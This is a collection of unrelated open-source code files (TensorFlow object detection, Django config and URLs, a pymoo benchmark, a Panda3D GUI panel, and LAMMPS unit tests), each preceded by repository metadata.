gt_class_targets_batch=groundtruth_classes_with_background_list, unmatched_class_label=tf.constant( [1] + self._num_classes * [0], dtype=tf.float32), gt_weights_batch=groundtruth_weights_list) flat_cls_targets_with_background = tf.reshape( batch_cls_targets_with_background, [-1, self._num_classes + 1]) one_hot_flat_cls_targets_with_background = tf.argmax( flat_cls_targets_with_background, axis=1) one_hot_flat_cls_targets_with_background = tf.one_hot( one_hot_flat_cls_targets_with_background, flat_cls_targets_with_background.get_shape()[1]) return (proposal_boxes, proposal_boxlists, paddings_indicator, one_hot_flat_cls_targets_with_background) def _get_refined_encodings_for_postitive_class( self, refined_box_encodings, flat_cls_targets_with_background, batch_size): # We only predict refined location encodings for the non background # classes, but we now pad it to make it compatible with the class # predictions refined_box_encodings_with_background = tf.pad(refined_box_encodings, [[0, 0], [1, 0], [0, 0]]) refined_box_encodings_masked_by_class_targets = ( box_list_ops.boolean_mask( box_list.BoxList( tf.reshape(refined_box_encodings_with_background, [-1, self._box_coder.code_size])), tf.reshape(tf.greater(flat_cls_targets_with_background, 0), [-1]), use_static_shapes=self._use_static_shapes, indicator_sum=batch_size * self.max_num_proposals if self._use_static_shapes else None).get()) return tf.reshape( refined_box_encodings_masked_by_class_targets, [ batch_size, self.max_num_proposals, self._box_coder.code_size ]) def _padded_batched_proposals_indicator(self, num_proposals, max_num_proposals): """Creates indicator matrix of non-pad elements of padded batch proposals. Args: num_proposals: Tensor of type tf.int32 with shape [batch_size]. max_num_proposals: Maximum number of proposals per image (integer). Returns: A Tensor of type tf.bool with shape [batch_size, max_num_proposals]. """ batch_size = tf.size(num_proposals) tiled_num_proposals = tf.tile( tf.expand_dims(num_proposals, 1), [1, max_num_proposals]) tiled_proposal_index = tf.tile( tf.expand_dims(tf.range(max_num_proposals), 0), [batch_size, 1]) return tf.greater(tiled_num_proposals, tiled_proposal_index) def _unpad_proposals_and_apply_hard_mining(self, proposal_boxlists, second_stage_loc_losses, second_stage_cls_losses, num_proposals): """Unpads proposals and applies hard mining. Args: proposal_boxlists: A list of `batch_size` BoxLists each representing `self.max_num_proposals` representing decoded proposal bounding boxes for each image. second_stage_loc_losses: A Tensor of type `float32`. A tensor of shape `[batch_size, self.max_num_proposals]` representing per-anchor second stage localization loss values. second_stage_cls_losses: A Tensor of type `float32`. A tensor of shape `[batch_size, self.max_num_proposals]` representing per-anchor second stage classification loss values. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. Returns: second_stage_loc_loss: A scalar float32 tensor representing the second stage localization loss. second_stage_cls_loss: A scalar float32 tensor representing the second stage classification loss. """ for (proposal_boxlist, single_image_loc_loss, single_image_cls_loss, single_image_num_proposals) in zip( proposal_boxlists, tf.unstack(second_stage_loc_losses), tf.unstack(second_stage_cls_losses), tf.unstack(num_proposals)): proposal_boxlist = box_list.BoxList( tf.slice(proposal_boxlist.get(), [0, 0], [single_image_num_proposals, -1])) single_image_loc_loss = tf.slice(single_image_loc_loss, [0], [single_image_num_proposals]) single_image_cls_loss = tf.slice(single_image_cls_loss, [0], [single_image_num_proposals]) return self._hard_example_miner( location_losses=tf.expand_dims(single_image_loc_loss, 0), cls_losses=tf.expand_dims(single_image_cls_loss, 0), decoded_boxlist_list=[proposal_boxlist]) def regularization_losses(self): """Returns a list of regularization losses for this model. Returns a list of regularization losses for this model that the estimator needs to use during training/optimization. Returns: A list of regularization loss tensors. """ all_losses = [] slim_losses = tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES) # Copy the slim losses to avoid modifying the collection if slim_losses: all_losses.extend(slim_losses) # TODO(kaftan): Possibly raise an error if the feature extractors are # uninitialized in Keras. if self._feature_extractor_for_proposal_features: if (self._feature_extractor_for_proposal_features != _UNINITIALIZED_FEATURE_EXTRACTOR): all_losses.extend(self._feature_extractor_for_proposal_features.losses) if isinstance(self._first_stage_box_predictor_first_conv, tf.keras.Model): all_losses.extend( self._first_stage_box_predictor_first_conv.losses) if self._first_stage_box_predictor.is_keras_model: all_losses.extend(self._first_stage_box_predictor.losses) if self._feature_extractor_for_box_classifier_features: if (self._feature_extractor_for_box_classifier_features != _UNINITIALIZED_FEATURE_EXTRACTOR): all_losses.extend( self._feature_extractor_for_box_classifier_features.losses) if self._mask_rcnn_box_predictor: if self._mask_rcnn_box_predictor.is_keras_model: all_losses.extend(self._mask_rcnn_box_predictor.losses) return all_losses def restore_map(self, fine_tune_checkpoint_type='detection', load_all_detection_checkpoint_vars=False): """Returns a map of variables to load from a foreign checkpoint. See parent class for details. Args: fine_tune_checkpoint_type: whether to restore from a full detection checkpoint (with compatible variable names) or to restore from a classification checkpoint for initialization prior to training. Valid values: `detection`, `classification`. Default 'detection'. load_all_detection_checkpoint_vars: whether to load all variables (when `fine_tune_checkpoint_type` is `detection`). If False, only variables within the feature extractor scopes are included. Default False. Returns: A dict mapping variable names (to load from a checkpoint) to variables in the model graph. Raises: ValueError: if fine_tune_checkpoint_type is neither `classification` nor `detection`. """ if fine_tune_checkpoint_type not in ['detection', 'classification']: raise ValueError('Not supported fine_tune_checkpoint_type: {}'.format( fine_tune_checkpoint_type)) if fine_tune_checkpoint_type == 'classification': return self._feature_extractor.restore_from_classification_checkpoint_fn( self.first_stage_feature_extractor_scope, self.second_stage_feature_extractor_scope) variables_to_restore = variables_helper.get_global_variables_safely() variables_to_restore.append(slim.get_or_create_global_step()) # Only load feature extractor variables to be consistent with loading from # a classification checkpoint. include_patterns = None if not load_all_detection_checkpoint_vars: include_patterns = [ self.first_stage_feature_extractor_scope, self.second_stage_feature_extractor_scope ] feature_extractor_variables = tf.contrib.framework.filter_variables( variables_to_restore, include_patterns=include_patterns) return {var.op.name: var for var in feature_extractor_variables} def updates(self): """Returns a list of update operators for this model. Returns a list of update operators for this model that must be executed at each training step. The estimator's train op needs to have a control dependency on these updates. Returns: A list of update operators. """ update_ops = [] slim_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) # Copy the slim ops to avoid modifying the collection if slim_update_ops: update_ops.extend(slim_update_ops) # Passing None to get_updates_for grabs updates that should always be # executed and don't depend on any model inputs in the graph. # (E.g. if there was some count that should be incremented every time a # model is run). # # Passing inputs grabs updates that are transitively computed from the # model inputs being passed in. # (E.g. a batchnorm update depends on the observed inputs) if self._feature_extractor_for_proposal_features: if (self._feature_extractor_for_proposal_features != _UNINITIALIZED_FEATURE_EXTRACTOR): update_ops.extend( self._feature_extractor_for_proposal_features.get_updates_for(None)) update_ops.extend( self._feature_extractor_for_proposal_features.get_updates_for( self._feature_extractor_for_proposal_features.inputs)) if isinstance(self._first_stage_box_predictor_first_conv, tf.keras.Model): update_ops.extend( self._first_stage_box_predictor_first_conv.get_updates_for( None)) update_ops.extend( self._first_stage_box_predictor_first_conv.get_updates_for( self._first_stage_box_predictor_first_conv.inputs)) if self._first_stage_box_predictor.is_keras_model: update_ops.extend( self._first_stage_box_predictor.get_updates_for(None)) update_ops.extend( self._first_stage_box_predictor.get_updates_for( self._first_stage_box_predictor.inputs)) if self._feature_extractor_for_box_classifier_features: if (self._feature_extractor_for_box_classifier_features != _UNINITIALIZED_FEATURE_EXTRACTOR): update_ops.extend( self._feature_extractor_for_box_classifier_features.get_updates_for( None)) update_ops.extend( self._feature_extractor_for_box_classifier_features.get_updates_for( self._feature_extractor_for_box_classifier_features.inputs)) if self._mask_rcnn_box_predictor: if self._mask_rcnn_box_predictor.is_keras_model: update_ops.extend( self._mask_rcnn_box_predictor.get_updates_for(None)) update_ops.extend( self._mask_rcnn_box_predictor.get_updates_for( self._mask_rcnn_box_predictor.inputs)) return update_ops
3fd5ea8193c7d437c0c1beb0fe3a0b1745922583
4b7f32e791739a09a201708a3350836156d59287
/moderate/trailing-string(AC).py
697e86dcd2d80270fb7e53b31fe98c768ba7fbaa
[]
no_license
zhuli19901106/codeeval
6170849a4acbc442b957d80c410df2bcf1b09efb
301dcaf0098eafb776145bfa347d9eb2ee22d4e2
refs/heads/master
2020-06-04T20:50:25.391877
2015-05-18T23:13:13
2015-05-18T23:13:23
34,080,841
0
0
null
null
null
null
UTF-8
Python
false
false
247
py
import re if __name__ == '__main__': while True: try: s = raw_input() except EOFError: break a, b = re.split(',', s) if len(b) > len(a): print(0) continue if a[len(a) - len(b): len(a)] == b: print(1) else: print(0)
bf6ba6b1402f5be62ec4a9f13ac0645075bdfe65
4568ff25aaafc821d18e331b0253a1246cd03c8f
/benchmark/experiments/basic_moo.py
ee9e35ecb246b008940c41dbe3f014755bedf038
[ "Apache-2.0" ]
permissive
anyoptimization/pymoo-benchmark
42a7804967d03b70620d42fba5f756d288b1f6f4
37460f3bf0159c1113cd48d5698af6493f26ed62
refs/heads/main
2023-07-31T17:20:17.294345
2021-09-23T20:31:39
2021-09-23T20:31:39
387,559,302
1
0
null
null
null
null
UTF-8
Python
false
false
1,882
py
import numpy as np import scipy.stats from prettytable import PrettyTable from benchmark.benchmarks import get_benchmark if __name__ == "__main__": benchmark = get_benchmark("ucmo") results = benchmark.run(writer=WRITER, loader=LOADER, run_if_loading_fails=True) # set the igd values for each of the problems MultiObjectiveAnalyzer().run(results, benchmark=benchmark, inplace=True) # now aggregate all the runs to have some representative values attrs = [("igd", np.array, "igd"), ("igd", np.mean, "avg"), ("igd", np.std, "std")] igd = GroupBy(attrs).run(results, group_by=["problem", "algorithm"]) for scope, d in filter_by(igd, ["problem"], return_group=True): # find the best algorithm for this problem l = sorted(d, key=lambda x: x["avg"]) best = l[0]["igd"] t = PrettyTable() t.title = scope["problem"] t.field_names = ['Algorithm', 'avg', 'std', 'shapiro', 'levene', 't-test', 'wilcoxon'] for i, e in enumerate(l): f = e["igd"] _, pval = scipy.stats.shapiro(f) shapiro = "*" if pval >= 0.01 else "" _, pval = scipy.stats.levene(best, f) levene = "* (%.3f)" % pval if pval >= 0.05 else "" _, pval = scipy.stats.ttest_ind(f, best, alternative="greater") ttest = "* (%.3f)" % pval if pval >= 0.05 else "" if len(best) == len(f): _, pval = scipy.stats.wilcoxon(f, best, zero_method="zsplit", alternative="greater") wilcoxon = "* (%.3f)" % pval if pval >= 0.05 else "" else: wilcoxon = "x" t.add_row([e["algorithm"], "%.10f" % e["avg"], "%.10f" % e["std"], shapiro, levene, ttest, wilcoxon]) print(t) print()
d9a4099524173214ed80d0a32f51a62c6780e1cc
8327addb87ff660c9659ba4c803ce494c10624a2
/src/gui/components/hierarchy.py
87c503ba1a8144820f85aa1cafd085d93fa4b1be
[ "BSD-3-Clause" ]
permissive
kergalym/panda3dstudio
1c2751527305ce1d9ad6322d19a297e0e25be9b9
9dff5857ead87dbcdc546b2aa5e9bac4121341bd
refs/heads/master
2022-07-22T18:41:38.167272
2020-05-19T14:14:54
2020-05-19T14:14:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,295
py
from ..base import * from ..button import * from ..panel import * class HierarchyPanel(Panel): def __init__(self, stack): Panel.__init__(self, stack, "hierarchy", "Hierarchy") self._checkbuttons = {} self._btns = {} self._toggle_btns = ToggleButtonGroup() toggle = (self.__set_xform_target_type, lambda: None) self._toggle_btns.set_default_toggle("all", toggle) # ********************** Object linking section ************************ section = self.add_section("linking", "Object linking") text = "Show links" checkbtn = PanelCheckButton(section, self.__toggle_link_visibility, text) self._checkbuttons["show_links"] = checkbtn section.add(checkbtn) group = section.add_group("Link") subsizer = Sizer("horizontal") group.add(subsizer, alignment="center_v", expand=True) subsizer.add((0, 0), proportion=1.) text = "Selection" tooltip_text = "Link selected objects to target object" command = lambda: self.__toggle_linking_mode("sel_linking_mode") btn = PanelButton(group, text, "", tooltip_text, command) self._btns["sel_linking_mode"] = btn subsizer.add(btn, alignment="center_v") subsizer.add((0, 0), proportion=1.) text = "Pick..." tooltip_text = "Link single object to target object" command = lambda: self.__toggle_linking_mode("obj_linking_mode") btn = PanelButton(group, text, "", tooltip_text, command) self._btns["obj_linking_mode"] = btn subsizer.add(btn, alignment="center_v") subsizer.add((0, 0), proportion=1.) group = section.add_group("Unlink") subsizer = Sizer("horizontal") group.add(subsizer, alignment="center_v", expand=True) subsizer.add((0, 0), proportion=1.) text = "Selection" tooltip_text = "Unlink selected objects" command = self.__unlink_selection btn = PanelButton(group, text, "", tooltip_text, command) subsizer.add(btn, alignment="center_v") subsizer.add((0, 0), proportion=1.) text = "Pick..." tooltip_text = "Unlink single object" command = lambda: self.__toggle_linking_mode("obj_unlinking_mode") btn = PanelButton(group, text, "", tooltip_text, command) self._btns["obj_unlinking_mode"] = btn subsizer.add(btn, alignment="center_v") subsizer.add((0, 0), proportion=1.) text = "Affect group membership:" checkbtn = PanelCheckButton(section, self.__toggle_group_member_linking, text) checkbtn.check() self._checkbuttons["group_member_linking_allowed"] = checkbtn borders = (0, 0, 0, 10) section.add(checkbtn, borders=borders) text = "affect open groups only" checkbtn = PanelCheckButton(section, self.__toggle_open_group_member_linking, text) checkbtn.check() self._checkbuttons["group_member_linking_open_groups_only"] = checkbtn borders = (20, 0, 0, 0) section.add(checkbtn, borders=borders) text = "unlink only" checkbtn = PanelCheckButton(section, self.__toggle_group_member_unlink_only, text) checkbtn.check() self._checkbuttons["group_member_linking_unlink_only"] = checkbtn section.add(checkbtn, borders=borders) # ************************ Transforms section ************************** disabler = lambda: GD["active_obj_level"] != "top" section = self.add_section("transforms", "Transforms") sizer = GridSizer(rows=0, columns=2, gap_h=5, gap_v=5) section.add(sizer, expand=True) text = "Geom only" tooltip_text = "Transform geometry only" btn = PanelButton(section, text, "", tooltip_text) btn.add_disabler("subobj_lvl", disabler) toggle = (lambda: self.__set_xform_target_type("geom"), lambda: None) self._toggle_btns.add_button(btn, "geom", toggle) sizer.add(btn, proportion_h=1.) text = "Reset geom" tooltip_text = "Reset geometry to original transform" command = lambda: Mgr.update_app("geom_reset") btn = PanelButton(section, text, "", tooltip_text, command) btn.add_disabler("subobj_lvl", disabler) self._btns["reset_geom"] = btn sizer.add(btn, proportion_h=1.) text = "Pivot only" tooltip_text = "Transform pivot only" btn = PanelButton(section, text, "", tooltip_text) btn.add_disabler("subobj_lvl", disabler) toggle = (lambda: self.__set_xform_target_type("pivot"), lambda: None) self._toggle_btns.add_button(btn, "pivot", toggle) sizer.add(btn, proportion_h=1.) text = "Reset pivot" tooltip_text = "Reset pivot to original transform" command = lambda: Mgr.update_app("pivot_reset") btn = PanelButton(section, text, "", tooltip_text, command) btn.add_disabler("subobj_lvl", disabler) self._btns["reset_pivot"] = btn sizer.add(btn, proportion_h=1.) text = "Links only" tooltip_text = "Transform hierarchy links only" btn = PanelButton(section, text, "", tooltip_text) btn.add_disabler("subobj_lvl", disabler) toggle = (lambda: self.__set_xform_target_type("links"), lambda: None) self._toggle_btns.add_button(btn, "links", toggle) sizer.add(btn, proportion_h=1.) text = "No children" tooltip_text = "Don't transform child objects" btn = PanelButton(section, text, "", tooltip_text) btn.add_disabler("subobj_lvl", disabler) toggle = (lambda: self.__set_xform_target_type("no_children"), lambda: None) self._toggle_btns.add_button(btn, "no_children", toggle) sizer.add(btn, proportion_h=1.) # ********************************************************************** def disable_xform_targets(): self._toggle_btns.enable(False) self._btns["reset_geom"].enable(False) self._btns["reset_pivot"].enable(False) def enable_xform_targets(): self._toggle_btns.enable() self._btns["reset_geom"].enable() self._btns["reset_pivot"].enable() Mgr.accept("disable_transform_targets", disable_xform_targets) Mgr.accept("enable_transform_targets", enable_xform_targets) Mgr.add_app_updater("object_link_viz", self.__update_link_visibility) Mgr.add_app_updater("group_options", self.__update_group_member_linking) Mgr.add_app_updater("transform_target_type", self.__update_xform_target_type) def __update_group_member_linking(self): for option, value in GD["group_options"]["member_linking"].items(): self._checkbuttons[f"group_member_linking_{option}"].check(value) def setup(self): def enter_linking_mode(prev_state_id, active): Mgr.do("set_viewport_border_color", "viewport_frame_link_objects") self._btns[GD["object_linking_mode"]].active = True def exit_linking_mode(next_state_id, active): if not active: self._btns[GD["object_linking_mode"]].active = False add_state = Mgr.add_state add_state("object_linking_mode", -10, enter_linking_mode, exit_linking_mode) self.get_section("transforms").expand(False) self.expand(False) def __toggle_linking_mode(self, linking_mode): if GD["active_obj_level"] != "top": GD["active_obj_level"] = "top" Mgr.update_app("active_obj_level") current_linking_mode = GD["object_linking_mode"] if current_linking_mode and current_linking_mode != linking_mode: Mgr.exit_state("object_linking_mode") if self._btns[linking_mode].active: Mgr.exit_state("object_linking_mode") GD["object_linking_mode"] = "" else: GD["object_linking_mode"] = linking_mode Mgr.enter_state("object_linking_mode") def __unlink_selection(self): Mgr.update_remotely("selection_unlinking") def __toggle_link_visibility(self, links_shown): GD["object_links_shown"] = links_shown Mgr.update_remotely("object_link_viz") def __update_link_visibility(self): links_shown = GD["object_links_shown"] self._checkbuttons["show_links"].check(links_shown) def __toggle_group_member_linking(self, allowed): GD["group_options"]["member_linking"]["allowed"] = allowed def __toggle_open_group_member_linking(self, open_groups_only): GD["group_options"]["member_linking"]["open_groups_only"] = open_groups_only def __toggle_group_member_unlink_only(self, unlink_only): GD["group_options"]["member_linking"]["unlink_only"] = unlink_only def __set_xform_target_type(self, target_type="all"): GD["transform_target_type"] = target_type Mgr.update_app("transform_target_type") def __update_xform_target_type(self): target_type = GD["transform_target_type"] if target_type == "all": self._toggle_btns.deactivate() else: self._toggle_btns.set_active_button(target_type)
68b2d9074b11197d63b539d98ae83fa80cfe4639
27ece9ab880a0bdba4b2c053eccda94602c716d5
/.history/tf_regression_logistic_20181129223556.py
0f19edb1cef55ba195e28ea07b0aef3180fcad9a
[]
no_license
Symfomany/keras
85e3ad0530837c00f63e14cee044b6a7d85c37b2
6cdb6e93dee86014346515a2017652c615bf9804
refs/heads/master
2020-04-08T20:21:35.991753
2018-11-30T08:23:36
2018-11-30T08:23:36
159,695,807
0
0
null
null
null
null
UTF-8
Python
false
false
6,338
py
import matplotlib.pyplot as plt import tensorflow as tf import numpy as np import os, argparse """ Any interaction with your filesystem to save persistent data in TF needs a Saver object and a Session object. The Saver constructor allows you to control many things among which 1 is important: The var_list: Default to None, this is the list of variables you want to persist to your filesystem. You can either choose to save all the variables, some variables or even a dictionary to give custom names to your variables. The Session constructor allows you to control 3 things: + The var_list: This is used in case of a distributed architecture to handle computation. You can specify which TF server or ‘target’ you want to compute on. + The graph: the graph you want the Session to handle. The tricky thing for beginners is the fact that there is always a default Graph in TF where all operations are set by default, so you are always in a “default Graph scope”. + The config: You can use ConfigProto to configure TF. Check the linked source for more details. The Saver can handle the saving and loading (called restoring) of your Graph metadata and your Variables data. To do that, it adds operations inside the current Graph that will be evaluated within a session. By default, the Saver will handle the default Graph and all its included Variables, but you can create as much Savers as you want to control any graph or subgraph and their variables. """ dir = os.path.dirname(os.path.realpath(__file__)) def freeze_graph(model_dir, output_node_names): """Extract the sub graph defined by the output nodes and convert all its variables into constant Args: model_dir: the root folder containing the checkpoint state file output_node_names: a string, containing all the output node's names, comma separated """ if not tf.gfile.Exists(model_dir): raise AssertionError( "Export directory doesn't exists. Please specify an export " "directory: %s" % model_dir) if not output_node_names: print("You need to supply the name of a node to --output_node_names.") return -1 # We retrieve our checkpoint fullpath checkpoint = tf.train.get_checkpoint_state(model_dir) input_checkpoint = checkpoint.model_checkpoint_path # We precise the file fullname of our freezed graph absolute_model_dir = "/".join(input_checkpoint.split('/')[:-1]) output_graph = absolute_model_dir + "/frozen_model.pb" # We clear devices to allow TensorFlow to control on which device it will load operations clear_devices = True # We start a session using a temporary fresh Graph with tf.Session(graph=tf.Graph()) as sess: # We import the meta graph in the current default Graph saver = tf.train.import_meta_graph(input_checkpoint + '.meta', clear_devices=clear_devices) # We restore the weights saver.restore(sess, input_checkpoint) # We use a built-in TF helper to export variables to constants output_graph_def = tf.graph_util.convert_variables_to_constants( sess, # The session is used to retrieve the weights tf.get_default_graph().as_graph_def(), # The graph_def is used to retrieve the nodes output_node_names.split(",") # The output node names are used to select the usefull nodes ) # Finally we serialize and dump the output graph to the filesystem with tf.gfile.GFile(output_graph, "wb") as f: f.write(output_graph_def.SerializeToString()) print("%d ops in the final graph." % len(output_graph_def.node)) return output_graph_def def get_dataset(): """ Method used to generate the dataset """ # Numbers of row per class row_per_class = 100 # Generate rows sick = np.random.randn(row_per_class, 2) + np.array([-2, -2]) sick_2 = np.random.randn(row_per_class, 2) + np.array([2, 2]) healthy = np.random.randn(row_per_class, 2) + np.array([-2, 2]) healthy_2 = np.random.randn(row_per_class, 2) + np.array([2, -2]) features = np.vstack([sick, sick_2, healthy, healthy_2]) targets = np.concatenate((np.zeros(row_per_class * 2), np.zeros(row_per_class * 2) + 1)) targets = targets.reshape(-1, 1) return features, targets if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("--model_dir", type=str, default="models", help="Model folder to export") parser.add_argument("--output_node_names", type=str, default="tf_models", help="The name of the output nodes, comma separated.") args = parser.parse_args() features, targets = get_dataset() # Plot points #plt.scatter(features[:, 0], features[:, 1], s=40, c=targets, cmap=plt.cm.Spectral) #plt.show() tf_features = tf.placeholder(tf.float32, shape=[None, 2]) tf_targets = tf.placeholder(tf.float32, shape=[None, 1]) # First w1 = tf.Variable(tf.random_normal([2, 3])) b1 = tf.Variable(tf.zeros([3])) # Operations z1 = tf.matmul(tf_features, w1) + b1 a1 = tf.nn.sigmoid(z1) # Output neuron w2 = tf.Variable(tf.random_normal([3, 1])) b2 = tf.Variable(tf.zeros([1])) # Operations z2 = tf.matmul(a1, w2) + b2 py = tf.nn.sigmoid(z2) cost = tf.reduce_mean(tf.square(py - tf_targets)) correct_prediction = tf.equal(tf.round(py), tf_targets) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.1) train = optimizer.minimize(cost) sess = tf.Session() sess.run(tf.global_variables_initializer()) for e in range(100): sess.run(train, feed_dict={ tf_features: features, tf_targets: targets }) print("accuracy =", sess.run(accuracy, feed_dict={ tf_features: features, tf_targets: targets })) # We can check easily that we are indeed in the default graph print(z1.graph == tf.get_default_graph()) # By default, the Saver handles every Variables related to the default graph all_saver = tf.train.Saver() all_saver.save(sess, args.model_dir + '/data') # freeze_graph(args.model_dir, args.output_node_names)
4fc460384c0da2849c8cd81e53c14410411469db
1bf1a8d115d9720dacb84b5c8fefb49af015c295
/backend/soft_sound_26327/wsgi.py
d82dfa567ac94e3653dfc6d99f1fb57752c26fe4
[]
no_license
crowdbotics-apps/soft-sound-26327
dba9358659d899d485a0b10cd63e41c68e865e22
5d35e9d5bd2cdad5ab5e5f2a95d8190ce367ff43
refs/heads/master
2023-04-11T15:35:04.366308
2021-05-07T12:50:17
2021-05-07T12:50:17
365,231,981
0
0
null
null
null
null
UTF-8
Python
false
false
409
py
""" WSGI config for soft_sound_26327 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'soft_sound_26327.settings') application = get_wsgi_application()
9379f75d7a6e72f76b8b8000d917229c05095694
ceead28beb1ea6cb56a2bb4472bc1d2396b39e6f
/gen_basis_helpers/lammps_interface/unit_tests/utests_calc_objs.py
e7ea97f5225ee65c88ea89d7726bdc7ec75871d3
[]
no_license
RFogarty1/plato_gen_basis_helpers
9df975d4198bff7bef80316527a8086b6819d8ab
8469a51c1580b923ca35a56811e92c065b424d68
refs/heads/master
2022-06-02T11:01:37.759276
2022-05-11T12:57:40
2022-05-11T12:57:40
192,934,403
3
0
null
null
null
null
UTF-8
Python
false
false
4,352
py
import copy import collections import os import unittest import unittest.mock as mock import gen_basis_helpers.lammps_interface.lammps_calc_objs as tCode class TestCalcObjStandard(unittest.TestCase): def setUp(self): self.baseFolder = "fake_path" self.baseFileName = "test_file" self.dataFileOrderedDict = collections.OrderedDict([["fake_header","fake_val"]]) self.scriptFileOrderedDict = collections.OrderedDict([["read_data","datafile"],["commA","valA"]]) self.createTestObjs() def createTestObjs(self): argList = [self.baseFolder, self.baseFileName, self.dataFileOrderedDict, self.scriptFileOrderedDict] self.testObjA = tCode.LammpsCalcObjStandard(*argList) def testScriptFilePathAsExpected(self): expPath = os.path.join(self.baseFolder, self.baseFileName) + ".in" actPath = self.testObjA.scriptFilePath self.assertEqual(expPath,actPath) def testDataFilePathAsExpected(self): expPath = os.path.join(self.baseFolder, self.baseFileName) + ".data" actPath = self.testObjA.dataFilePath self.assertEqual(expPath,actPath) @mock.patch("gen_basis_helpers.lammps_interface.lammps_calc_objs.fileIoHelp") @mock.patch("gen_basis_helpers.lammps_interface.lammps_calc_objs.pathlib") @mock.patch("gen_basis_helpers.lammps_interface.lammps_calc_objs.LammpsCalcObjStandard.dataFilePath", new_callable=mock.PropertyMock) @mock.patch("gen_basis_helpers.lammps_interface.lammps_calc_objs.LammpsCalcObjStandard.scriptFilePath", new_callable=mock.PropertyMock) def testWriteFileCallsExpected(self, mockScriptPathProp, mockDataPathProp, mockedPathLib, mockedFileIo): expScriptPath, expDataPath = "script_path", "data_path" mockScriptPathProp.return_value = expScriptPath mockDataPathProp.return_value = expDataPath expScriptDict = copy.deepcopy(self.scriptFileOrderedDict) expScriptDict["read_data"] = expDataPath #Really only needs the fileName rather than path self.testObjA.writeFile() mockedPathLib.Path.assert_called_with(self.baseFolder) mockedFileIo.writeScriptFileFromTokens.assert_called_with(expScriptPath, self.scriptFileOrderedDict) mockedFileIo.writeDataFileFromTokens.assert_called_with(expDataPath, self.dataFileOrderedDict) @mock.patch("gen_basis_helpers.lammps_interface.lammps_calc_objs.LammpsCalcObjStandard.scriptFilePath", new_callable=mock.PropertyMock) def testExpectedRunComm(self, mockedScriptPath): expScriptPath = "some_dir/test_script_path" mockedScriptPath.return_value = expScriptPath expRunComm = "lmp -in test_script_path" actRunComm = self.testObjA.runComm self.assertEqual(expRunComm,actRunComm) class TestScriptFileOptsStandard(unittest.TestCase): def setUp(self): self.initOpts = collections.OrderedDict([["initOptKey","initOptVal"]]) self.setupBox = collections.OrderedDict([["setupBoxKey","setupBoxVal"]]) self.setupAtoms = collections.OrderedDict([["setupAtomsKey","setupAtomsVal"]]) self.forceFieldOpts = collections.OrderedDict([["forceFieldKey","forceFieldVal"]]) self.settingsOpts = collections.OrderedDict([["settingsKey","settingsVal"]]) self.fixOpts = collections.OrderedDict([["fixKey","fixVals"]]) self.outputSection = collections.OrderedDict([["outputKey","outputVal"]]) self.createTestObjs() def createTestObjs(self): kwargDict = {"initOpts": self.initOpts, "setupBox": self.setupBox, "setupAtoms": self.setupAtoms, "forceFieldOpts": self.forceFieldOpts, "settingsOpts": self.settingsOpts, "fixSection": self.fixOpts, "outputSection": self.outputSection} self.testObjA = tCode.ScriptFileOptionsStandard(**kwargDict) def testExpectedDict_allOptsSet(self): expDict = self._loadExpectedDictA() actDict = self.testObjA.getOutputDict() self.assertEqual(expDict,actDict) def testExpectedDict_fixOptsNotSet(self): self.fixOpts = None self.createTestObjs() expDict = self._loadExpectedDictA() expDict.pop("fixKey") actDict = self.testObjA.getOutputDict() self.assertEqual(expDict, actDict) def _loadExpectedDictA(self): expDict = collections.OrderedDict() expDict["initOptKey"] = "initOptVal" expDict["setupBoxKey"] = "setupBoxVal" expDict["setupAtomsKey"] = "setupAtomsVal" expDict["forceFieldKey"] = "forceFieldVal" expDict["settingsKey"] = "settingsVal" expDict["fixKey"] = "fixVals" expDict["outputKey"] = "outputVal" return expDict
b79d0c78af023ef7ed30861159fed93a15561056
8acffb8c4ddca5bfef910e58d3faa0e4de83fce8
/ml-flask/Lib/site-packages/networkx/utils/random_sequence.py
8b85ab0377cfc422b3d928447eefc64534d09e7d
[ "MIT" ]
permissive
YaminiHP/SimilitudeApp
8cbde52caec3c19d5fa73508fc005f38f79b8418
005c59894d8788c97be16ec420c0a43aaec99b80
refs/heads/master
2023-06-27T00:03:00.404080
2021-07-25T17:51:27
2021-07-25T17:51:27
389,390,951
0
0
null
null
null
null
UTF-8
Python
false
false
129
py
version https://git-lfs.github.com/spec/v1 oid sha256:c5e599427c932f0d245045fe663be170579a4a231663b09977410234d4901ef6 size 4085
820179af2252cd5b64438e6edfc4fb743ccbba98
9c5cbe763edf9b2857fc4d3a01b0ffd84f84732c
/courses/urls.py
736f7edd62c9a9ee82e1c68ae04a7a86a4289af0
[]
no_license
miclemabasie/Django-Elearn
943dda71f19cebe73afc8b22858b016065848987
b69ccd40719bef63ce4ff8d16262552db78dfdce
refs/heads/main
2023-07-30T04:50:40.484172
2021-09-22T17:56:08
2021-09-22T17:56:08
408,752,595
1
0
null
null
null
null
UTF-8
Python
false
false
1,169
py
from django.urls import path from . import views urlpatterns = [ path('mine/', views.ManageCourseListView.as_view(), name='manage_course_list' ), path('create/', views.CourseCreateView.as_view(), name='course_create' ), path('<pk>/edit/', views.CourseUpdateView.as_view(), name='course_edit' ), path('<pk>/delete/', views.CourseDeleteView.as_view(), name='course_delete' ), path('<pk>/module/', views.CourseModuleUpdate.as_view(), name='course_module_update' ), path('module/<int:module_id>/content/<model_name>/create/', views.ContentCreateUpdateView.as_view(), name='module_content_create' ), path('module/<int:module_id>/content/<model_name>/<id>/', views.ContentCreateUpdateView.as_view(), name='module_content_update' ), path('content/<int:id>/delete/', views.ContentDeleteView.as_view(), name='module_content_delete' ), path('module/<int:module_id>/', views.ModuleContentListView.as_view(), name='module_content_list' ), ]
ee9757768aa20d43a6d7e774315d16995cd75ed6
2f76da1ab7d6b8ea0184c5ad2c522518ab37823f
/speech_parts.py
8dbd9e71f75a67ca948bd7b45c8c6483afb8d9a2
[]
no_license
abezgauzdina/knesset-data-committees
4ebdddd0d5ec868b1f2037c66be2dd752431ca10
d80346aae116365d9959fb48ad1f58666d04f020
refs/heads/master
2021-09-15T07:39:53.205577
